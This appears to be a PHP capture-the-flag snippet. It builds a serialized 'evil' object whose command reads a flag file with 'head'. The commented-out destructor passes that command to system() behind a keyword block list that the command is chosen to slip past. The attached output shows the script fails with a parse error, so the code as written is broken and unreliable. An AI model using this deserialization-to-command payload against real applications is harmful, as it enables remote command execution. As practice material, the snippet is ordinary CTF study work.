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<?php //highlight_file(__FILE__); // Maybe you need learn some knowledge about deserialize? class evil { public cmd="head /th1s_1s_fffflllll4444aaaggggg"; // public function __destruct() // { // if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){ // @system($this->cmd); // } // } } $a=new evil(); echo serialize($a); //@unserialize($_POST['unser']); ?>
Output for 8.2.0 - 8.2.26, 8.3.0 - 8.3.14, 8.4.1
Parse error: syntax error, unexpected token "=", expecting variable in /in/L9ePa on line 5
Process exited with code 255.

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